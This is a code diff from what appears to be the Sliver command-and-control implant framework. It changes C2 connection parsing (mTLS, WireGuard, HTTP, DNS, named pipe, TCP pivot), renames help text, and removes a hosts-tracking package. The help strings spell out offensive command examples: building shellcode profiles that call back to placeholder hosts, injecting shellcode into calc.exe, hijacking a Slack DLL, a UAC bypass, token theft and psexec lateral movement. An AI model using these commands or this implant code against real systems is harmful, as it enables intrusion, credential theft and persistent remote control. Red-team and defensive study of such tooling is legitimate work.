wgC2 := ParseWGc2(ctx.Flags.String("wg"))
wgC2 := parseWGc2(ctx.Flags.String("wg"))
c2s = append(c2s, wgC2...)
httpC2 := ParseHTTPc2(ctx.Flags.String("http"))
httpC2 := parseHTTPc2(ctx.Flags.String("http"))
c2s = append(c2s, httpC2...)
dnsC2 := ParseDNSc2(ctx.Flags.String("dns"))
dnsC2 := parseDNSc2(ctx.Flags.String("dns"))
c2s = append(c2s, dnsC2...)
namedPipeC2 := ParseNamedPipec2(ctx.Flags.String("named-pipe"))
namedPipeC2 := parseNamedPipec2(ctx.Flags.String("named-pipe"))
c2s = append(c2s, namedPipeC2...)
tcpPivotC2 := ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
tcpPivotC2 := parseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
c2s = append(c2s, tcpPivotC2...)
var symbolObfuscation bool
@@ -210,7 +235,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
}
reconnectInterval := ctx.Flags.Int("reconnect")
pollTimeout := ctx.Flags.Int("poll-timeout")
pollInterval := ctx.Flags.Int("poll")
maxConnectionErrors := ctx.Flags.Int("max-errors")
limitDomainJoined := ctx.Flags.Bool("limit-domainjoined")
@@ -283,8 +308,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")),
ReconnectInterval: int64(reconnectInterval) * int64(time.Second),
PollTimeout: int64(pollTimeout) * int64(time.Second),
ReconnectInterval: uint32(reconnectInterval),
PollInterval: uint32(pollInterval),
MaxConnectionErrors: uint32(maxConnectionErrors),
LimitDomainJoined: limitDomainJoined,
@@ -324,11 +349,11 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
target := fmt.Sprintf("%s/%s", targetOS, targetArch)
if _, ok := SupportedCompilerTargets[target]; !ok {
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a generic implant.\n",
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a Default implant.\n",
console.Bold, target, console.Normal,
)
con.Printf("⚠️ Generic implants do not support all commands/features.\n")
prompt := &survey.Confirm{Message: "Attempt to build generic implant?"}
con.Printf("⚠️ Default implants do not support all commands/features.\n")
prompt := &survey.Confirm{Message: "Compile a Default build?"}
var confirm bool
survey.AskOne(prompt, &confirm)
if !confirm {
@@ -339,8 +364,7 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
return targetOS, targetArch
}
// ParseMTLSc2 - Parse mtls connection string arg
func ParseMTLSc2(args string) []*clientpb.ImplantC2 {
func parseMTLSc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
@@ -359,8 +383,7 @@ func ParseMTLSc2(args string) []*clientpb.ImplantC2 {
return c2s
}
// ParseWGc2 - Parse wg connect string arg
func ParseWGc2(args string) []*clientpb.ImplantC2 {
func parseWGc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
@@ -380,8 +403,7 @@ func ParseWGc2(args string) []*clientpb.ImplantC2 {
return c2s
}
// ParseHTTPc2 - Parse HTTP connection string arg
func ParseHTTPc2(args string) []*clientpb.ImplantC2 {
func parseHTTPc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
@@ -411,8 +433,7 @@ func ParseHTTPc2(args string) []*clientpb.ImplantC2 {
return c2s
}
// ParseDNSc2 - Parse DNS connection string arg
func ParseDNSc2(args string) []*clientpb.ImplantC2 {
func parseDNSc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
@@ -437,8 +458,7 @@ func ParseDNSc2(args string) []*clientpb.ImplantC2 {
return c2s
}
// ParseNamedPipec2 - Parse named pipe connection string arg
func ParseNamedPipec2(args string) []*clientpb.ImplantC2 {
func parseNamedPipec2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
@@ -459,8 +479,7 @@ func ParseNamedPipec2(args string) []*clientpb.ImplantC2 {
return c2s
}
// ParseTCPPivotc2 - Parse tcp pivot connection string arg
func ParseTCPPivotc2(args string) []*clientpb.ImplantC2 {
func parseTCPPivotc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
@@ -481,12 +500,9 @@ func ParseTCPPivotc2(args string) []*clientpb.ImplantC2 {
}
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
if config.IsBeacon {
interval := time.Duration(config.BeaconInterval)
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
} else {
con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
}
con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
if config.ObfuscateSymbols {
con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
} else if !config.Debug {
@@ -556,7 +572,7 @@ func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string
compilers, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Failed to check target compatibility: %s\n", err)
con.PrintWarnf("Failed to check target compatibility: %s\n", err)
return true
}
@@ -591,7 +607,7 @@ func hasCC(targetOS string, targetArch string, crossCompilers []*clientpb.CrossC
}
func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
con.PrintWarnf("Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
con.PrintWarnf("WARNING: Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
switch targetOS {
case "windows":
con.PrintWarnf("The server cannot find an installation of mingw")
+3 -10
View File
@@ -45,19 +45,12 @@ func printHelp(con *console.SliverConsoleClient) {
groups := make(map[string]*grumble.Commands)
for _, c := range con.App.Commands().All() {
key := c.HelpGroup
targetOS := ""
session, beacon := con.ActiveTarget.GetInteractive()
if session != nil {
targetOS = session.OS
} else if beacon != nil {
targetOS = beacon.OS
}
if beacon != nil || session != nil {
if targetOS != "windows" && key == consts.SliverWinHelpGroup {
if con.ActiveSession.Get() != nil {
if con.ActiveSession.Get().GetOS() != "windows" && key == consts.SliverWinHelpGroup {
continue
}
} else {
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.MacroHelpGroup || key == consts.ExtensionHelpGroup {
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.ExtensionHelpGroup {
continue
}
}
+33 -41
View File
@@ -71,7 +71,7 @@ var (
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.LoadMacroStr: loadMacrosHelp,
consts.LoadExtensionStr: loadExtensionHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
@@ -89,7 +89,6 @@ var (
consts.WgSocksStr: wgSocksHelp,
consts.SSHStr: sshHelp,
consts.DLLHijackStr: dllHijackHelp,
consts.GetPrivsStr: getPrivsHelp,
// Loot
consts.LootStr: lootHelp,
@@ -173,7 +172,7 @@ Execution limits can be used to restrict the execution of a Sliver implant to ma
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
Due to the large number of options and C2s this can be a lot of typing. If you'd like to have a reusable a Sliver config
see 'help profiles new'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
see 'help new-profile'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
command.
`
generateStagerHelp = `[[.Bold]]Command:[[.Normal]] generate stager <options>
@@ -201,23 +200,23 @@ When a stager calls back to this URL, a sliver corresponding to the said profile
stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
To create a profile, use the [[.Bold]]new-profile[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
new-profile --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
`
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
[[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
Profiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same
settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
profiles new --profile-name mtls-profile --mtls foo.example.com --canary 1.foobar.com
Profiles are an easy way to save a sliver configurate and easily generate multiple copies of the binary with the same
settings, but will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
new-profile --profile-name mtls-profile --mtls foo.example.com --canary 1.foobar.com
generate-profile mtls-profile
`
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate-profile [name] <options>
[[.Bold]]About:[[.Normal]] Generate an implant from a saved profile (see 'profiles new --help').`
[[.Bold]]About:[[.Normal]] Generate a Sliver from a saved profile (see new-profile).`
msfHelp = `[[.Bold]]Command:[[.Normal]] msf [--lhost] <options>
[[.Bold]]About:[[.Normal]] Execute a metasploit payload in the current process.`
@@ -228,12 +227,12 @@ settings. Generated implants will still have per-binary certificates/obfuscation
psHelp = `[[.Bold]]Command:[[.Normal]] ps <options>
[[.Bold]]About:[[.Normal]] List processes on remote system.`
pingHelp = `[[.Bold]]Command:[[.Normal]] ping <implant name/session>
[[.Bold]]About:[[.Normal]] Ping session by name or the active session. This does NOT send an ICMP packet, it just sends a small
C2 message round trip to ensure the remote implant is still responding to commands.`
pingHelp = `[[.Bold]]Command:[[.Normal]] ping <sliver name/session>
[[.Bold]]About:[[.Normal]] Ping Sliver by name or the active sliver. This does NOT send an ICMP packet, it just sends an empty
c2 message round trip to ensure the remote Sliver is still responding to commands.`
killHelp = `[[.Bold]]Command:[[.Normal]] kill <implant name/session>
[[.Bold]]About:[[.Normal]] Kill a remote implant process (does not delete file).`
killHelp = `[[.Bold]]Command:[[.Normal]] kill <sliver name/session>
[[.Bold]]About:[[.Normal]] Kill a remote sliver process (does not delete file).`
lsHelp = `[[.Bold]]Command:[[.Normal]] ls <remote path>
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.
@@ -263,10 +262,10 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
`
cdHelp = `[[.Bold]]Command:[[.Normal]] cd [remote path]
[[.Bold]]About:[[.Normal]] Change working directory of the active session.`
[[.Bold]]About:[[.Normal]] Change working directory of the active Sliver.`
pwdHelp = `[[.Bold]]Command:[[.Normal]] pwd
[[.Bold]]About:[[.Normal]] Print working directory of the active session.`
[[.Bold]]About:[[.Normal]] Print working directory of the active Sliver.`
mkdirHelp = `[[.Bold]]Command:[[.Normal]] mkdir [remote path]
[[.Bold]]About:[[.Normal]] Create a remote directory.`
@@ -290,20 +289,20 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
[[.Bold]]About:[[.Normal]] (Windows Only) Run a new process in the context of the designated user`
impersonateHelp = `[[.Bold]]Command:[[.Normal]] impersonate USERNAME
[[.Bold]]About:[[.Normal]] (Windows Only) Steal the token of a logged in user. Sliver commands that run new processes (like [[.Bold]]shell[[.Normal]] or [[.Bold]]execute-command[[.Normal]]) will impersonate this user.`
[[.Bold]]About:[[.Normal]] (Windows Only) Steal the token of a logged in user. Sliver commands that runs new processes (like [[.Bold]]shell[[.Normal]] or [[.Bold]]execute-command[[.Normal]]) will impersonate this user.`
revToSelfHelp = `[[.Bold]]Command:[[.Normal]] rev2self
[[.Bold]]About:[[.Normal]] (Windows Only) Call RevertToSelf, lose the stolen token.`
elevateHelp = `[[.Bold]]Command:[[.Normal]] elevate
[[.Bold]]About:[[.Normal]] (Windows Only) Spawn a new Sliver session as an elevated process (UAC bypass)`
[[.Bold]]About:[[.Normal]] (Windows Only) Spawn a new sliver session as an elevated process (UAC bypass)`
executeAssemblyHelp = `[[.Bold]]Command:[[.Normal]] execute-assembly [local path to assembly] [arguments]
[[.Bold]]About:[[.Normal]] (Windows Only) Executes the .NET assembly in a child process.
`
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the Sliver process.
[[.Bold]][[.Underline]]++ Shellcode ++[[.Normal]]
Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
@@ -370,21 +369,21 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
[[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
`
loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
Load an macro:
loadExtensionHelp = `[[.Bold]]Command:[[.Normal]] load-extension <directory path>
[[.Bold]]About:[[.Normal]] Load a Sliver extension to add new commands.
Extensions are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the extension file is a reflective DLL or not.
Load an extension:
load /tmp/chrome-dump
Sliver macros have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] macro):
Sliver extensions have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] extension):
chrome-dump
├── chrome-dump.dll
├── chrome-dump.so
└── manifest.json
It is a directory containing any number of files, with a mandatory [[.Bold]]manifest.json[[.Normal]], that has the following structure:
{
"macroName":"chrome-dump", // name of the macro, can be anything
"macroCommands":[
"extensionName":"chrome-dump", // name of the extension, can be anything
"extensionCommands":[
{
"name":"chrome-dump", // name of the command available in the sliver client (no space)
"entrypoint":"ChromeDump", // entrypoint of the shared library to execute
@@ -396,7 +395,7 @@ It is a directory containing any number of files, with a mandatory [[.Bold]]mani
"os":"windows", // Target OS for the following files. Values can be "windows", "linux" or "darwin"
"files":{
"x64":"chrome-dump.dll",
"x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the macro directory
"x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the extension directory
}
},
{
@@ -428,9 +427,9 @@ Each command will have the [[.Bold]]--process[[.Normal]] flag defined, which all
This command uploads a Sliver binary generated on the fly from a profile.
The profile must be created with the [[.Bold]]service[[.Normal]] format, so that the service manager can properly start and stop the binary.
To create such a profile, use the [[.Bold]]profiles new[[.Normal]] command:
To create such a profile, use the [[.Bold]]new-profile[[.Normal]] command:
profiles new --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
new-profile --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
Once the profile has been created, run the [[.Bold]]psexec[[.Normal]] command:
@@ -442,7 +441,7 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
[[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
[[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: new-profile --format shellcode --profile-name whatever --http ab.cd
`
makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
@@ -583,10 +582,7 @@ loot fetch
`
reactionHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction
[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s). The built-in
reactions do not support variables or logic, they simply allow you to run verbatim
commands when an event occurs. To implement complex event-based logic we recommend
using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s).
[[.Bold]]Reactable Events:[[.Normal]]
% 20s Triggered when a new session is opened to a target
@@ -607,11 +603,7 @@ using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
)
reactionSetHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction set
[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).
The built-in reactions do not support variables or logic, they simply allow you to
run verbatim commands when an event occurs. To implement complex event-based logic
we recommend using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).
[[.Bold]]Examples:[[.Normal]]
# The command uses interactive menus to build a reaction. Simply run:
@@ -654,7 +646,7 @@ supplied with the --profile flag.
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a Sliver generated DLL for the hijack
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
new-profile --format shared --mtls 1.2.3.4:1234 --profile-name dll
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a local DLL as the reference DLL
-4
View File
@@ -1,4 +0,0 @@
Hosts
======
Command to access and manage host information.
-46
View File
@@ -1,46 +0,0 @@
package hosts
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// HostsIOCRmCmd - Remove a host from the database
func HostsIOCRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
host, err := SelectHost(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
ioc, err := SelectHostIOC(host, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.HostIOCRm(context.Background(), ioc)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Removed host from database\n")
}
-107
View File
@@ -1,107 +0,0 @@
package hosts
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"sort"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// HostsIOCCmd - Remove a host from the database
func HostsIOCCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
host, err := SelectHost(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if 0 < len(host.IOCs) {
con.Printf("%s\n", hostIOCsTable(host, con))
} else {
con.Println()
con.PrintInfof("No IOCs tracked on host\n")
}
}
func hostIOCsTable(host *clientpb.Host, con *console.SliverConsoleClient) string {
tw := table.NewWriter()
tw.SetStyle(table.StyleBold)
tw.AppendHeader(table.Row{"File Path", "SHA-256"})
for _, ioc := range host.IOCs {
tw.AppendRow(table.Row{
ioc.Path,
ioc.FileHash,
})
}
return tw.Render()
}
func SelectHostIOC(host *clientpb.Host, con *console.SliverConsoleClient) (*clientpb.IOC, error) {
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
// to work properly since we rely on the index of the user's selection to find the session in the map
var keys []string
var iocMap = make(map[string]*clientpb.IOC)
for _, ioc := range host.IOCs {
keys = append(keys, ioc.ID)
iocMap[ioc.ID] = ioc
}
sort.Strings(keys)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
for _, key := range keys {
ioc := iocMap[key]
fmt.Fprintf(table, "%s\t%s\t\n",
ioc.Path,
ioc.FileHash,
)
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select an IOC:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
if selected == "" {
return nil, ErrNoSelection
}
// Go from the selected option -> index -> host
for index, option := range options {
if option == selected {
return iocMap[keys[index]], nil
}
}
return nil, ErrNoSelection
}
-41
View File
@@ -1,41 +0,0 @@
package hosts
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// HostsRmCmd - Remove a host from the database
func HostsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
host, err := SelectHost(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.HostRm(context.Background(), host)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Removed host from database\n")
}
-186
View File
@@ -1,186 +0,0 @@
package hosts
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"errors"
"fmt"
"sort"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
var (
// ErrNoHosts - No hosts in database
ErrNoHosts = errors.New("no hosts")
// ErrNoSelection - No selection made
ErrNoSelection = errors.New("no selection")
)
// HostsCmd - Main hosts command
func HostsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s", err)
return
}
if 0 < len(allHosts.Hosts) {
con.Printf("%s\n", hostsTable(allHosts.Hosts, con))
} else {
con.PrintInfof("No hosts\n")
}
}
func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Hostname",
"Operating System",
"Sessions",
"Beacons",
"IOCs",
"Extensions",
})
for _, host := range hosts {
var shortID string
if len(host.HostUUID) < 8 {
shortID = host.HostUUID[:len(host.HostUUID)]
} else {
shortID = host.HostUUID[:8]
}
tw.AppendRow(table.Row{
shortID,
host.Hostname,
host.OSVersion,
hostSessionNumbers(host.HostUUID, con),
hostBeacons(host.HostUUID, con),
len(host.IOCs),
len(host.ExtensionData),
})
}
return tw.Render()
}
func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
hostSessions := SessionsForHost(hostUUID, con)
if 0 == len(hostSessions) {
return "None"
}
sessionNumbers := []string{}
for _, hostSession := range hostSessions {
sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
}
return strings.Join(sessionNumbers, ", ")
}
func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return "Error"
}
count := 0
for _, beacon := range beacons.Beacons {
if beacon.UUID == hostUUID {
count++
}
}
if count == 0 {
return "None"
} else {
return fmt.Sprintf("%d", count)
}
}
// SessionsForHost - Find session for a given host by id
func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
return []*clientpb.Session{}
}
hostSessions := []*clientpb.Session{}
for _, session := range sessions.Sessions {
if session.UUID == hostUUID {
hostSessions = append(hostSessions, session)
}
}
return hostSessions
}
// SelectHost - Interactively select a host from the database
func SelectHost(con *console.SliverConsoleClient) (*clientpb.Host, error) {
allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
// to work properly since we rely on the index of the user's selection to find the session in the map
var keys []string
var hostMap = make(map[string]*clientpb.Host)
for _, host := range allHosts.Hosts {
keys = append(keys, host.HostUUID)
hostMap[host.HostUUID] = host
}
sort.Strings(keys)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
for _, key := range keys {
host := hostMap[key]
fmt.Fprintf(table, "%s\t%s\t\n",
host.Hostname,
host.OSVersion,
)
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a host:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
if selected == "" {
return nil, ErrNoSelection
}
// Go from the selected option -> index -> host
for index, option := range options {
if option == selected {
return hostMap[keys[index]], nil
}
}
return nil, ErrNoSelection
}
+23 -53
View File
@@ -21,18 +21,23 @@ package info
import (
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// InfoCmd - Display information about the active session
func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
if session != nil {
var session *clientpb.Session
sessionName := ctx.Args.String("session")
if con.ActiveSession.GetInteractive() != nil {
session = con.ActiveSession.GetInteractive()
} else if sessionName != "" {
session = con.GetSession(sessionName)
}
if session != nil {
con.Printf(console.Bold+" ID: %s%d\n", console.Normal, session.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, session.Hostname)
@@ -46,27 +51,8 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
con.Printf(console.Bold+" Poll Timeout: %s%d\n", console.Normal, session.PollTimeout)
con.Printf(console.Bold+" Poll Interval: %s%d\n", console.Normal, session.PollInterval)
con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
} else if beacon != nil {
con.Printf(console.Bold+" ID: %s%s\n", console.Normal, beacon.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, beacon.Name)
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, beacon.Hostname)
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, beacon.UUID)
con.Printf(console.Bold+" Username: %s%s\n", console.Normal, beacon.Username)
con.Printf(console.Bold+" UID: %s%s\n", console.Normal, beacon.UID)
con.Printf(console.Bold+" GID: %s%s\n", console.Normal, beacon.GID)
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, beacon.PID)
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
con.Printf(console.Bold+" Interval: %s%d\n", console.Normal, beacon.Interval)
con.Printf(console.Bold+" Jitter: %s%d\n", console.Normal, beacon.Jitter)
} else {
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
}
@@ -74,52 +60,36 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// PIDCmd - Get the active session's PID
func PIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
